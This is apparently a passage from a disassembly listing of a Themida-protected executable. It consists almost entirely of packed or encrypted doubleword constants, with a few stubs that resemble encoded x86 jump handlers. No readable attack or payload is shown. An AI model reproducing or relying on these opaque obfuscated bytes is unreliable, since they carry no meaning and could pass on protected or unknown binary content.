875EABAEh, 9CD86BD9h, 8C420CCBh, 0E98ACC4Bh, 0E6452945h dd 0D75A449Dh, 0B24E3E7h, 64B15467h, 63CBE82Eh, 0B5DB2h dd 2CD30500h, 0A84D8278h, 20D506FCh, 0AE4B8E74h, 21D200FAh dd 5052D375h, 0DF257122h, 4AB0E497h, 0FB01550Ah, 3993C772h dd 792319ABh, 1A961D46h, 49E86DB3h, 0CB66EFE5h, 0E5175567h dd 0E3CF098h, 5A51C34h, 6E450000h, 0AE1C421Bh, 12A66D24h dd 39AA0AD3h, 174E5D03h, 65CFCFA5h, 0D6BA2211h, 0CCAB45FBh dd 791500C5h, 0B564E927h, 53814FE1h, 0C4090FACh, 0EE7B915h dd 2CE19EFh, 3349EA93h, 11662D3Dh, 0BCE2BBCEh, 0FF530072h dd 0D0623093h, 0CCC3923h, 0E47D4ED6h dword_5A1D68 dd 18E82DC8h, 0ABC61B0h, 0F4640000h, 6AED1743h, 0F6659FCBh ; DATA XREF: Themida_:005592B1o dd 68E91347h, 0F3679DC9h, 33B21440h, 85CFF73h, 8BDF7CF2h dd 85C0371h, 8ADE7BF2h, 2C00B220h, 9F1D467Ah, 0E86DBA13h dd 3F8D1749h, 17566745h, 0A32A20B8h, 95365AF6h, 78826B35h dd 148E419Dh, 7CF1F754h, 14371DDh, 89FE8AD3h, 0EC0E340Eh dd 0A0000004h, 0ABB4883Ah, 9F071756h, 0D039993Ch, 0B9C6D97Bh dd 0DB0276Bh, 2A1CDA1h, 57358378h, 0A4818817h, 0DAD260FAh dd 2D175734h, 0F64416B5h, 12A73B2Fh, 16D8861Eh, 9C6632DFh dd 1D14B859h, 0DD6F310Ch, 0CCD0A2Eh, 0B6A59C1h, 19E82CDAh dd 0A0C60B1h, 0A4D40000h, 1A5DA7F3h, 0A6D52F7Bh, 1859A3F7h dd 0A3D72D79h, 8302A4F0h, 98CC6FE3h, 1B4FEC62h, 98CC73E1h dd 1A4EEB62h, 9C9022B0h, 0EF1D4679h, 0E86DCA63h, 66EFE549h dd 91CF67CBh, 66C3B90Bh, 0AE361756h, 2A8637A4h, 35A7E546h dd 1642EF66h, 0E38D6A2h, 1BA2634h, 397F0000h, 671B11A3h dd 0F66E1756h, 7F1A5355h, 0E594D9D3h, 9CD11FB1h, 9E3D51FDh dd 0E9B78E9Bh, 0BC760C5Bh, 0FE4CD612h, 116C5306h, 3942E179h dd 857B0DA1h, 0F3116C53h, 0D21C4FBDh, 1951F29Fh, 2E24296Fh dd 739Fh, 0D039C600h, 0CCE9E060h, 1E0A7FCh, 77EEFCBh, 0AD87356Bh dd 17568Fh, 0EB3E3B98h, 0E5FE4C12h, 0B112BC71h, 60A3992Bh dd 0E66B116Ch, 0FC8BE74Bh, 34E96E64h, 2C57F498h, 0DC4618B4h dd 4E38DD12h, 116C6176h, 62FB10C9h, 0E11019C6h, 64542E8Dh dd 0AA116BB0h, 2D278B28h, 8AA70BAAh, 0C6D587FCh, 0DC9E3425h dd 0BFF18DB0h, 0AD78004Dh, 0EC842E23h, 0DD000000h, 0AD2FE86Dh dd 94CA660Ah, 0F3AF187Dh, 0EC1C63B5h, 1C81ACDBh, 4345E618h dd 9EC06C0Fh, 0DD712250h, 0E11412B1h, 46F46E30h, 1756A66Eh dd 5AFA59C1h, 0AA88CA04h, 3A83D72Ah, 0CA0CC5Dh, 4D21D606h dd 0B465E8EEh, 628966E0h, 3CD51756h, 0DAD752Ch, 80EADB3h dd 0EE4014C5h, 0AF03B420h, 146560C3h, 35A51749h, 0ED12BAA8h dd 4CFD7D04h, 0D6FBF217h, 0E35421E5h, 0F78C2FD2h, 7BFF316Fh dd 8E8439BEh, 6905A94Eh, 27AB5105h, 74EA4774h, 963EE240h dd 86547h, 14CB0D00h, 8035BA40h, 8AD2ED4h, 8633A65Ch, 9AA28D2h dd 87AFB5Dh, 877D29CAh, 2F8AC4Fh, 83792DD2h, 51FBAF4Ah dd 7C7B71C3h, 42CE1D46h, 11A339EBh, 1756671Bh, 0D4FFB76Eh dd 0C98F21CEh, 0D20006A5h, 0CE621547h, 0B484EDE3h, 4C204798h dd 478E7420h, 6DA7FEAAh, 0D91749E8h, 3A56FA99h, 0BA333999h dd 886A4B1Fh, 33000002h, 1C421B6Eh, 56074886h, 7428D7FAh dd 7BB49393h, 0F5CEB417h, 4812BD5Ah, 0A6148ED0h, 116D38CEh dd 0BA1AB921h, 6D38FCCCh, 0DA0A4411h, 250AE593h, 32801A2Eh dd 116D2D3Ah, 0EFB6158Dh, 21Ch, 671C11B6h, 8C421756h, 0C09AA4Bh dd 620F46FDh, 66B68E3Ch, 91091756h, 4211A3FDh, 3512A66Dh dd 0B83DF3ADh, 3EB74D19h, 0CB03CD93h, 38065169h, 0A9C5360Dh dd 0EC636905h, 2A89E549h, 0C976838Ah, 1478D48Bh, 0E7942678h dd 9A0CCB6Dh, 0B320F764h, 0AEC2AE02h, 0EA8637A4h, 2E7566D9h dd 0E7369EE8h, 756h, 7D29CE02h, 0F9AD5087h, 792DD003h dd 0F7A34E83h, 7A2ECD0Dh, 0B1215DDCh, 2AAC5602h, 0B527DD89h dd 29AC5602h, 0E476DC88h, 467D5E56h, 0F45DD11Dh, 0E549E86Dh dd 67CB66EFh, 0C50B91CFh, 9F95E392h, 12175666h, 0F96B298Ah dd 0DA8E2BA2h, 0E399A6Eh, 162EA34h, 6DB30000h, 0FAA2FE8h dd 0FA3CFA3h, 7521D005h, 0FEA07D8Ch, 0BC76234Ch, 228E1612h dd 6C546454h, 6292DC11h, 242A6D1Bh, 29992Eh, 6EC00000h dd 0AE1C421Bh, 12BC48B5h, 0A7CD048h, 116C3836h, 55A0CC82h dd 2E240AA3h, 0F7D3h, 3947D00h, 3D084E25h, 6DE643E0h, 0EFE549E8h dd 5896C86Bh, 0B8D47819h, 3CB1BB1Bh, 866F319Dh, 55E7ED05h dd 1756B35Fh, 0B7674AD2h, 0E2E447CAh, 8829A86Bh, 174BAE4h dd 3390FC50h, 0B72CC56Bh, 78E11A7Dh, 6F45F7A9h, 0C2175686h dd 9483F95Ah, 9A175653h, 62F8A653h, 5632DCD0h, 37852F17h dd 1756333Dh, 0E74428B0h, 6A3346BFh, 8A148634h, 108A12BAh dd 6956CAA2h, 6A53D11h, 75BBE57Dh, 1CBD3005h, 9CDE2470h dd 897BCCFFh, 2981E240h, 621F8h, 0D087C900h, 44F97E84h dd 0B469EA10h, 3AD71AE0h, 0B566946Eh, 0BCC647E1h, 33C99D3Eh dd 0B64C18BBh, 3FC59146h, 0E54F1BB6h, 7DEFC577h, 0CE421D46h dd 11A33967h, 1756671Bh, 0F89B1134h, 4532E296h, 0FA787EDDh dd 969E3B18h, 0A1CDD63Dh, 0DDD765FFh, 50175673h, 747448FAh dd 5FC71756h, 32C89033h, 134A1EBBh, 0A82FE86Dh, 6B3599F5h dd 238037A5h, 5501B025h, 3674h, 0F240DA00h, 175666FAh dd 0D376D54Dh, 0E549E86Dh, 95CB66EFh, 0CF00195Bh, 82EE422Eh dd 848E8121h, 6F0A4358h, 0BF7CFF31h, 45298538h, 4AE98529h dd 393312h, 6D6A0000h, 0D91749E8h, 11AA59Bh, 0C5383DE1h dd 8C2FA3A9h, 4FEF4C20h, 56D64639h, 0E596C417h, 6E114349h dd 31A4AEC2h, 0AF262C80h, 92C2AE02h, 0BB9DC02Ch, 0B12473E1h dd 6D0D5400h, 0ECE549E8h, 2C9EC09Dh, 12A66CF1h, 8C69800h dd 0BA4014C5h, 16D88633h, 319132DFh, 4A14F138h, 0B662F8F8h dd 2FAC620Ch, 0A628228Eh, 593559F5h, 471981FAh, 0C1954489h dd 0ED61B23Bh, 878E224Eh, 3BF5AB72h, 0F4A605B8h, 0DC571546h dd 4370E806h, 0EE1D9B0Ch, 0DF61B018h, 8B000004h, 3CC69245h dd 0B44E1ABBh, 38C29647h, 0B64C18B9h, 65C39744h, 0BF5C9EE4h dd 3EDD11EBh, 0B364906Ah, 39D81DE7h, 0E755C76Dh, 1D467F0Dh dd 6D45EC60h, 0B31D49E8h, 0BC38FD7Dh, 0B7DBB71Bh, 3EDB1214h dd 0A4559892h, 2DD20208h, 90438B81h, 0CA0559Ah, 0B1067628h dd 56FE9241h, 4C209208h, 0BF175667h, 11810A27h, 0DA6F2E28h dd 0F2C93B79h, 3E8ADE7Bh, 340E924Ah, 33BAh, 1B6EE300h dd 0F9AE1C42h, 0C12BC2Ah, 0D704CA94h, 19D78526h, 0F67024DBh dd 116C1B04h, 7E2AC70Eh, 4F84AD0h, 77116C1Bh, 0A4A4CEFh dd 3328F955h, 71000004h, 0A72FE86Dh, 205258F4h, 0DF731F73h dd 0A5F1A0D5h, 2E704D5Ch, 0BC75539Ch, 0E0BE2612h, 52F4C87Ah dd 0B947116Ch, 462A8635h, 0EEC6742Ah, 41116C52h, 0ACDA7AD9h dd 116C52DCh, 0E9FA6A24h, 52EBC173h, 0C65E116Ch, 295B2D65h dd 6EA02E24h, 208E09EDh, 0AB730725h, 0E988CDC7h, 0D38A2945h dd 20h, 421B6E8Ah, 48B5AE1Ch, 0D04812BCh, 38360A7Ch, 0CC82116Ch dd 0AA355A0h, 0F4D32E24h, 8A000000h, 0E549E86Dh, 97896BEFh dd 0EA1632E2h, 747ED2BEh, 2BAC6201h, 3C4A268Ah, 17575548h dd 554C2092h, 27BF1757h, 0F61E8950h, 5740ABB5h, 9309573Bh dd 57604B21h, 8526BE17h, 4AA62F25h, 13B5FB1Ch, 87D3BFF4h dd 5712F601h, 0D081F417h, 5AF77E84h, 0E1AAFFF6h, 57105953h dd 5834AC17h, 0E889C806h, 0D98B2844h, 0BD0BEC6Bh, 87359F12h dd 116D08ADh, 8A19B29h, 8C14116Dh, 5B0F63FBh, 0D08E57A2h dd 0B728A34Ah, 1479E2F3h, 591FCDB7h, 8A120CD1h, 3BD81AD4h dd 0B665956Fh, 29B75085h, 0DD0CA4E8h, 30Eh, 0B5E196DAh dd 155084Fh, 91C578FBh, 1F4BE66Bh, 92C675E5h, 89C9B534h dd 1244BEEAh, 8DCF3561h, 1144BEEAh, 0C9E3460h, 4680C6BEh dd 1CB5391Dh, 0B80FED6Dh, 730413E5h, 0A63C620Eh, 9935E668h dd 0CCA983F5h, 841C1756h dd 50857F27h, 6EACF5A1h, 0D21C421Bh, 0A4599E9Dh, 502496C8h dd 0A3175667h, 78CA983Bh, 12BC4963h, 1555BC16h, 1F31A4DAh dd 0A0D5AFD9h, 0B028116Bh, 0B42E70DCh, 6BA12E06h, 0BA198111h dd 6BA0F0C0h, 8C164811h, 6BA1463Eh, 8221B911h, 0BF4994C0h dd 0C42E2373h, 85D7362Dh, 0B91A1270h, 0D1E0h, 0E86DB900h dd 6BEFE549h, 278B28AEh, 0A30FAE2Dh, 63CFA3CFh, 5665EA15h dd 0CC6DE017h, 4EEB6298h, 0B89EDE10h, 0E9946B3Dh, 0F7FD9130h dd 117DD184h, 824C12B2h, 0D683CA51h, 0D97A167Ah, 0AEF0CDDCh dd 0BBC9831Ch, 0FAAE3612h, 712FF603h, 494B0098h, 2E8D1C65h dd 0B27CE67Ch, 14E89E3Bh, 67116BBBh, 0D584F5FFh, 0CCB61579h dd 0CD010BFh, 7AB4EA72h, 0F50F5BF8h, 261E9785h, 0B7F8EDA9h dd 7E882F05h, 761A820Bh, 58FE291Ah, 0AE06E82Bh, 1D57Fh dd 0A45B9D00h, 10C50AF0h, 983DBE44h, 16C336CCh, 993AB842h dd 98EA6BCDh, 17EDB95Ah, 92683CDFh, 13E9BD62h, 0C16B3FDAh dd 820BE153h, 0F27E1D46h, 7CED6D5Bh, 5666F6CEh, 0BDD14917h dd 3FDA13E9h, 0E86D326Bh, 66F3C97Bh, 0DE461756h, 0E1141EB2h dd 579E6430h, 0A1F16BAh, 45F76D33h, 1756676Fh, 0ABF95AC2h dd 0DF7AFF31h, 0E6151F73h, 54F79B37h, 0BC7BF92Eh, 0CA940C12h dd 8A26D704h, 0B5E545E6h, 8BC2D90Bh, 0F77EB0EEh, 399AF65Ah dd 0B4919861h, 334F58EAh, 3AA20CD2h, 0B8599C96h, 0E8011B14h dd 76205549h, 0F3B112A4h, 15F03981h, 0EAEEF94Bh, 816806E7h dd 0FD4FA295h, 5986007h, 27CFE27Ah, 6F14B7A6h, 1459A3F7h dd 5A0FE557h, 0F94B0598h, 5985A03h, 199EE76h, 5A17ED5Fh dd 0F26A0598h, 0C80EC09Eh, 7628882Bh, 399A3BB8h, 0B61ABD3Fh dd 369A3BBCh, 0FB79C03Ch, 0E884E844h, 0CE3E6044h, 1341FFAFh dd 0F4A05184h, 7F21FC0Dh, 0FE6E9ACDh, 94A8400h, 3794F854h dd 448AD44Ch, 64C46718h, 0B087F43Ah, 50FC9041h, 54999F3Ch dd 0E75909A5h, 3BBC7275h, 0F95A369Ah, 8ED0ADFCh, 1450EB3Ch dd 0D8861EFBh, 2DA0A631h, 0DB8592F5h, 0C4329369h, 0DD7EE6F9h dd 502D7C85h, 1A5A940Eh, 8F23CE03h, 54858FE3h, 197C06A5h dd 28F51438h, 0D8421CB0h, 903CE116h, 27B28AFCh, 9D05F3D4h dd 4B5383Eh, 7623AA50h, 0E591ACDAh, 0DD1DE220h, 5A98923Eh dd 0F3BD15B9h, 59535C81h, 48E96C2Bh, 0C26FE61Ch, 22F5646Eh dd 0CB0802AFh, 0BAEA462Ah, 0E693DA14h, 92D50745h, 0F2AA1B7Bh dd 65C6B23Eh, 0A629EA63h, 61CF9BF7h, 268A2DAFh, 66EFE94Ah dd 3B667CBh, 0EF000000h, 0EB6DA508h, 5B929834h, 0DC1812BEh dd 599D973Bh, 0DE1C16BAh, 579B913Dh, 0CF0208A4h, 57848E22h dd 0CF000AA6h, 68E9822Eh, 748Bh, 53241C89h, 0C381E389h dd 4, 4EB81h, 1C870000h, 14895C24h, 0E0895024h, 405h, 4E88300h dd 5C240487h, 0BA243C89h, 9C95CD6h, 2414F752h, 814A425Ah dd 701E36EAh, 0A5F2813Ch, 54BC368Fh, 83243C8Bh, 0EC8104C4h dd 4, 8F241489h, 34FF0847h, 0C4835F24h, 2434FF04h, 4C4815Ah dd 0E9000000h, 0FFFA601Eh, 0EAE25926h, 0C8CF36A2h, 8E2FBEC6h dd 0F01DEAB8h, 0FFC50305h, 3703CE0h, 0EEDFB274h, 34EEE173h dd 471F2353h, 0FE42631h, 0CFE1532h, 0AED8804Fh, 94E95060h dd 8CCAE31Ch, 0D5D0D230h, 0BBED823Ah, 96A5DA3Ah, 66BF382Dh dd 4F32D328h, 4F21F30Bh, 0E45B6963h, 5F875378h, 5ECF9D30h dd 5A4FBF0Dh, 0F3392F7Fh, 0D59FF970h, 0F0EB6F72h, 0C10E2872h dd 0E8D96821h, 0B9F3827Ah, 0A6F78808h, 2D598860h, 13FEE3Bh dd 7C08EB7Bh, 56FA46h, 0E9024100h, 0C06h, 0F020B168h, 393EE905h dd 9368FFFBh, 0E905F021h, 0FFFB3934h, 0F0234668h, 392AE905h dd 268FFFBh, 0E905F024h, 0FFFB3920h, 0F024AE68h, 3916E905h dd 0AB68FFFBh, 0E905F026h, 0FFFB390Ch, 0F0273E68h, 3902E905h dd 7068FFFBh, 0E905F028h, 0FFFB38F8h, 0F0296368h, 38EEE905h dd 7A4DFFFBh, 0F7C6A942h, 725B34DFh, 0F0DEB15Ah, 6A5C33D8h dd 0C3EEB952h, 0B45F7741h, 35DEF6DBh, 0B55E765Ah, 31DAF2DAh dd 64CCA990h, 4E825A8h, 0BF093A6h, 48C9FF3h, 6651C34h dd 0FFF31D35h, 0C4003D93h, 0C9F76690h, 0B3D0BC8Ch, 0B1F2D8CBh dd 15FBB3CBh, 7E3217D5h, 5018117Dh, 0D5D0F318h, 0EF2C8416h dd 0C9816104h, 0A020D5B0h, 0C4C0E81Fh, 0B3A9CFE2h, 1CDEEC2h dd 0E6F81C9h, 0E81FAE1Eh, 0F0AD280Fh, 3850F0F4h, 3F8Ch dd 4D486F00h, 0D4AD7D8Eh, 5018D66Dh, 0A0C54C29h, 9F9BE820h dd 539E1D0h, 5128609Bh, 35ACCC95h, 5E3BBE5Fh, 0E82136D2h dd 7A165E96h, 3767B5D4h, 93B4E821h, 7E2FBD68h, 0E4C13852h dd 22000000h, 0F21C3404h, 126BA395h, 3E5453D6h, 18DDC176h dd 0EB39BD86h, 0CEC64AD4h, 9172F48Dh, 261BB5D9h, 738B7C1Fh dd 3601CA56h, 121E7BE2h, 0D6E23602h, 264A821Eh, 0B35D7545h dd 4ED2B78Eh, 12E23602h, 0E5D5B6DAh, 0CA2F46ADh, 21E23606h dd 0A5CA2159h, 7853BDD5h, 6E0B723Dh, 0E8201437h, 290AE129h dd 0E7D7EF6Ch, 9FB5F072h, 0CB5C661Bh, 317991DCh, 0BEF42D48h dd 3CF4EE0Ch, 3C542645h, 20457C45h, 0EE0CBF00h, 230D28E0h dd 0C5EE0CBFh, 0A5CA610Dh, 3F82BBD3h, 9ACD8BD5h, 9A32834h dd 0C2B50000h, 3F0E618Ah, 0BA83EC07h, 38066982h, 0B284EB00h dd 0B26719Ah, 6C87BF89h, 0ED063E03h, 6D86BE82h, 0E9023A02h dd 0C147148h, 0DCE825A9h, 3D5E617Eh, 0D1DD334Bh, 0BFECDEBDh dd 5854BAD2h, 0A494FB10h, 4898876Ch, 5E3B424Dh, 0E81FB7B3h dd 76C4B1B5h, 982CFD6Dh, 336DA9D0h, 0E9431A3Eh, 0C1A00E62h dd 0E8206C5Bh, 29F4E7C0h, 3851B29Bh, 0CF55h, 9A5EB600h dd 435CD9F5h, 0E98AE6DBh, 3A07E921h, 75BA6603h, 2D11E236h dd 2D418915h, 0AA447C4Eh, 367B2ECBh, 85BD8DE2h, 139016Eh dd 1A321B78h, 3A94F8F4h, 621B9411h, 20888E07h, 719A52E8h dd 255C5352h, 0D62C040h, 1168A0EEh, 9B708872h, 7B5397AEh dd 0C15AE6E3h, 5B28082Dh, 0F038EE0Dh, 0F50DFF9Ch, 8B3993CCh dd 5844EACDh, 8C1h, 876CA497h, 2E921E8h, 8F649C6Dh, 9E21AE0h dd 977C9466h, 9D6FEDC0h, 1CE18E65h, 9C600FE4h, 18E08F64h dd 93AA0BE0h, 25AA2AF6h, 839C3EE8h, 364E3D5Eh, 374F395Ah dd 43602D4Eh, 0E40A427Ah, 1A2F84E8h, 88DA4623h, 468EE235h dd 4981492Ah, 546C5330h, 0E32B6BAh, 0E126B5A3h, 9B842F43h dd 87773404h, 0E5ADA14Fh, 649C6C0Bh, 5ECFD91Dh, 261C3AA6h dd 66A225Ah, 800F8EADh, 82699CF9h, 867FE820h, 20823DE3h dd 94AC9CE8h, 22EA767Ah, 8B70136Ah, 14FA9D73h, 561E12FCh dd 0BF3943Ah, 0D6B38AF3h, 0E820824Ah, 11BAD61Eh, 0F768E7Eh dd 9453BDCBh, 19759052h, 1FE98AB7h, 690509E7h, 6647410Ch dd 9BB3986Fh, 10281275h, 0C631A6FEh, 2DA8BBF4h, 49304830h dd 0A3AF6A8Dh, 0C6AAB6DBh, 23A026Dh, 2A6CBF7Bh, 86CE03C5h dd 39C0DA02h, 0F79B7AFEh, 0D1F53859h, 77EC6F65h, 0D9F1D984h dd 34FC99A0h, 346F65D2h, 543B90FCh, 0A3C22C64h, 6F65D276h dd 4F2A13EAh, 6F65D1E1h, 53364F87h, 6F65D1CDh, 60375B93h dd 0E820E875h, 559C6C03h, 65D1F030h, 7038F06Fh, 0B7F8B59Eh dd 0DF82ABCEh, 0AE66754Fh, 2E137045h, 98F4F816h, 0AA75F6B7h dd 0AE1193B4h, 0E88DF4BCh, 7B3A4815h, 8CED03CBh, 7B3A48A1h dd 732AAD8Ah, 0CB6B8A71h dd 46A0Fh, 9AFFC600h, 7B3A4096h, 0FDEE824Ah, 35891E02h dd 98B17BE2h, 60EE235h, 63E2359Dh, 0E2359CB9h, 0E064294Ah dd 796FCEE8h, 38541C88h, 60199617h, 1FC51405h, 251CD4E8h dd 0D378CFEEh, 0EB9A50Bh, 42000007h, 0DBB45F77h, 5837DCF4h dd 0D3BC576Fh, 513ED5EDh, 93C42F67h, 324A3CBEh, 0B1C9B6D9h dd 3149355Ah, 8DC5B5DAh, 9BFEC766h, 0E825AC95h, 5EF6E94Bh dd 5A364E3Dh, 0D7395139h, 0B7CEC1FCh, 25A830D2h, 13F830E8h dd 38FC3057h, 0A3D32284h, 976142ACh, 0F19D917Fh, 0A9D0DFDEh dd 1062A5CCh, 2F18BBEEh, 0BDF5F917h, 9F531C89h, 0A7E69D71h dd 9F74BCD9h, 0BC749D71h, 0D7B48DF4h, 4C40AEE6h, 0B2B84520h dd 60A8A35Bh, 0A7E8A58Eh, 68551ADEh, 0EE03E2BCh, 0B07E921h dd 2F162F43h, 6F59E2EBh, 0C3AF54E6h, 4629DFA6h, 304981A9h dd 0B8536B53h, 96AFE7D7h, 12526A19h, 52021EB0h, 6000006h dd 9FF01B33h, 1C7398B0h, 97F8132Bh, 157A91A9h, 5700EB23h dd 0F60EF87Ah, 758D721Dh, 0F50DF19Eh, 7189711Eh, 67023B9Ah dd 0E825ACB9h, 5E120DAFh, 7022219Ah, 0EA8698EBh, 0BEC7C8C5h dd 1FF62ADBh, 18F63EE8h, 2B1C8F7Fh, 0D2B55B13h, 9B85E0E9h dd 4DE81FF6h, 0E323CD85h, 8FD5AE6Ch, 32193A94h, 0ECFFF41Ah dd 4B5817E9h, 931C9990h, 8BC389EAh, 3C056965h, 0A09AC59h dd 9F74BCEEh, 0A0A26F6h, 0A9D83EEh, 0F5B0EE0Ah, 5CA6C3BAh dd 0CF3FA29h, 0E84B2AC4h, 41F3FA28h, 0F3FA28DAh, 8314931h dd 0C79E6BADh, 0A67A66C8h, 0AA000005h, 234CA7DFh, 0A0CF245Ch dd 3B54BFD7h, 0B9D63D55h, 0B5CB7CFh, 0BAD2A426h, 39513E51h dd 0B9D1BDD2h, 354D3D52h, 23467FDEh, 0E825ACFDh, 485E41E3h dd 5E3B424Dh, 0E825A7B4h, 0F5927CB4h, 8C0D0105h, 0E944EC89h dd 0EC24E825h, 0DE254368h, 8C487D96h, 6F73961Ch, 5D721ECEh dd 37542D62h, 0D1DD334Bh, 847413BDh, 0AB92A74Ch, 266562CEh dd 0A2CE06E8h, 2FC1F9C1h, 0A6488048h, 2DC3FBC1h, 0A04E864Ah dd 4B3DB8ABh, 0D5904BD0h, 6946ADE5h, 3857AB5Bh, 0B7F0995Dh dd 0B357D9BCh, 0C109E825h, 0B88F0D45h, 0F29EB69Bh, 19D83h dd 3D5E6000h, 0DBD73951h, 921D98B7h, 969F8EEBh, 0C7A4E81Fh dd 222EC0F8h, 0B45A924Eh, 1F9649D5h, 0A1D9A0E8h, 2C64284Fh dd 0A0D8A5C2h, 2315C09Bh, 0B6894DB8h, 0B16D1F3Ah, 2B639B63h dd 34E51047h, 764F3679h, 0CEED2515h, 0CDA8C4FCh, 0EE09D160h dd 4C23C800h, 0CDAA447Ch, 0D2EC5FDh, 7D4D2E90h, 0D0C06045h dd 68A0EE09h, 0C93C5920h, 9FF3F3E4h, 54D8B957h, 0ABF3F3E5h dd 2245ABE3h, 0B4CB255Dh, 4B1AECEFh, 0C5A6696Ch, 8DC5B4F7h dd 4B276F63h, 25275C68h, 533F5C44h, 0BD536B50h, 0E495F9B1h dd 2Fh, 424D4807h, 5E3B023Bh, 0E23588D2h, 0C32D6529h, 0F79B53CFh dd 1FB86F92h, 57B971E8h, 1FB7E636h, 0E51037E8h, 50FEAC38h dd 0BB4438h, 5EA70000h, 1A39513Dh, 0F8F41A32h, 0CF07F794h dd 5C744621h, 0ADE5D5B2h, 311D7E43h, 4EF2E7D5h, 3B73E5D4h dd 0C443457h, 7A291675h, 10337B93h, 0F3FF1129h, 9C5D349Fh dd 0F3E23684h, 9BB3980Bh, 9A1B38D3h, 35F35CD9h, 13E4B0DAh dd 511915FBh, 79056019h, 6FE82287h, 82E7DEA7h, 0E822879Eh dd 0DFE68A42h, 0E683CABCh, 0E822873Ah, 45AEE62Eh, 162E1370h dd 172F197Ah, 760DCD2Eh, 968A24D3h, 3A9h, 4FA4DCAFh, 0CA215920h dd 57BCD4A5h, 0D13A5238h, 5FB4CCBEh, 0D5A72508h, 543956BDh dd 0D4B8D73Ch, 503857BCh, 4B72D338h, 25AF022Eh, 5B44E6E8h dd 0F11A3204h, 7D96AE9Eh, 4D3D5E62h, 10281635h, 172F1F7Ch dd 96AE9EF9h, 1A02627Dh, 77E23609h, 0E23608A5h, 16734D48h dd 0E236090Ah, 8B659D61h, 9BD31B87h, 0D2B8DBE2h, 4FB3D6BAh dd 11E82628h, 0A11C37D9h, 0DBF297EEh, 8DEE1031h, 7E4F5C2Eh dd 0ECA4A846h, 7F460E02h, 0CD8863D0h, 16BFA30Dh, 3A000003h dd 0B3DC374Fh, 305FB4CCh, 8BE40F47h, 9668DC5h, 0BBEC073Fh dd 0EA221496h, 69A16E01h, 0E921ED82h, 659D6D02h, 73162F8Eh dd 0E825AFADh, 40E11B3h, 95F21C34h, 0A5866DA5h, 0C3FBCCE8h dd 0BDCAED2Dh, 87B60683h, 9BFE87CFh, 0E81FC56Ah, 59C7A29Bh dd 0FE81FC5h, 0BF77ABC7h, 0C4EC3051h, 1631E81Fh, 7AA3AE3h dd 25463851h, 0A5000000h, 3B424D48h, 1FB7B35Eh, 937DB5E8h dd 1FB82AF2h, 21D4F3E8h, 758D7D1Eh, 0FEAA3A19h, 0E5463850h dd 0A5000000h, 85773404h, 8CEB054Dh, 0B6C82BAh, 82E50B43h dd 6982BAh, 0E2358DE9h, 12717840h, 0F7FB152Dh, 358E4ED2h dd 92DA12E2h, 0CE884C79h, 939DF8F9h, 55E2358Bh, 79BE199Dh dd 54865FDBh, 49D3BCE3h, 5E764625h, 951A9BB0h, 570C89ECh dd 14DCE820h, 0EF31546Dh, 4EE82056h, 0A5A9477Fh, 7BA5C039h dd 6DE82057h, 2A81EDA5h, 0D2CF8C09h, 86A0BF29h, 30F48DC5h dd 0B506229Fh, 85BCD0D7h, 0D4798E0h, 0F98048EEh, 0E198B09Ah dd 4773BDD8h, 0BD75EE0Dh, 23157AD1h, 4E2DD2EBh, 0AA4CD8Bh dd 1E416h, 49817400h, 0C6FECDA2h, 4179422Dh, 0DFF7C5AAh dd 59715B34h, 4AC8E5B2h, 0CCA34880h, 432CC7FFh, 0C3AC477Fh dd 8928C3FBh, 0B14BD5B0h, 0BF1DE825h, 1A3204A0h, 96AE9EF1h dd 652B487Dh, 0AE407846h, 9586EAA2h, 66F29A5Eh, 0DA4A2F41h dd 931C99B6h, 0CD062EEAh, 123E774Dh, 0DF22477Eh, 81E82065h dd 56C6A749h, 0B5E82066h, 395EB0C8h, 8CD43A52h, 0BFEEE01Bh dd 84405D98h, 3C3851ACh, 0ADh, 0DC9A5EDFh, 0F0A6371Ch dd 0E8D0B3DFh, 6F593ED0h, 21D8B957h, 78E23689h, 0FC937890h dd 311AF40Ch, 7B423B74h, 88F92742h, 27EFE236h, 711D3504h dd 20907114h, 0AF192E8h, 8A429EF2h, 4C434261h, 6AC95035h dd 579FEE0Dh, 437B4D2Eh, 9074593Ah, 80EF8088h, 0A34D05E9h dd 30DEF6C4h, 6957743Ch, 0DFB3BF51h, 19311B74h, 8B12AD20h dd 7A66C8CDh, 0F1h, 977C9467h, 12F911F8h, 9F748C7Dh, 19F20AF0h dd 0A74C8476h, 6D5FDDF0h, 0ECD1BE55h, 6C503FD4h, 0E8D0BF54h dd 0A39A3BD0h, 25B25AC6h, 0B3AC0EE8h, 0F11A3204h, 7D96AE9Eh dd 1C340462h, 6DA595F2h, 824E2D14h, 8DA8A44Ah, 0E23589A3h dd 4AE18D45h, 0D4301C7Fh, 0BC92E5ABh, 4DA3EB30h, 83022D41h dd 0EE10750Ch, 0F2E8265Ah, 5AC26E0Bh, 6EA6E826h, 0A9477F4Dh dd 3E03EDA5h, 0B759715Dh, 0C4B4D7BBh, 3152678Ch, 0D0DC324Ah dd 0D7EFDFBCh, 0C8025839h, 26353B30h, 0AAE2AAB3h, 4FB07441h dd 80BAF60Ch, 0DAA2C1ADh, 652B4CA2h, 89BCC32Dh, 3AB2534Dh dd 6A563262h, 0F8B0BC52h, 1D99367Ch, 0A8C4C5A1h, 9961FCFFh dd 240C6950h, 0C43B310Fh, 0F07290Ch, 20D93B31h, 310EDB45h dd 0D458D3Bh, 0F89BAE45h, 1418F60Eh, 1B331B78h, 3E9F5h dd 4EBA0000h, 1931045Dh, 90A890F7h, 1D35197Eh, 6FA794F3h dd 0FC14E681h, 4B837512h, 0C4FCC2A5h, 447C4D2Ah, 0C6FECDAAh dd 0EC830128h, 24348904h, 0C681E689h, 4, 8704EE83h, 685C2434h dd 1549h, 53241489h, 0C381E389h, 4, 4EB81h, 1C870000h dd 3C895C24h, 49B85024h, 5005F01Fh, 0DB243481h, 5A6B830Eh dd 0EDBF281h, 54586B83h, 81243C8Bh, 4C4h, 8685300h, 5B000000h dd 1389FB01h, 2434FF5Bh, 4C4835Fh, 5A2434FFh, 0E904C483h dd 0FFFB2D4Ch, 0C7C6533Ch, 0B01FCAEDh, 79B851AFh, 305F02Ah dd 85E0FFC5h dd 0F3529D66h, 0FB77F95Bh, 8C3064C9h, 0FD5FA6C6h, 986A45A0h dd 5210A888h, 8B085B53h, 91522064h, 0BB2FAB6Bh, 7D2D36F7h dd 6B515EF7h, 9E0ECFFBh, 4E38CB04h, 2A021F1Dh, 30454A49h dd 9E2E8147h, 651ECF57h, 0B7791536h, 2B00E4FFh, 635D02D5h dd 0E81F4DB9h, 13h, 0A3B8E815h, 0F49F975Dh, 14DBB6F9h dd 3EA10E7Ch, 60EE9A81h, 6870FFCh, 81000000h, 0DF21E9C1h dd 0F5A6151h, 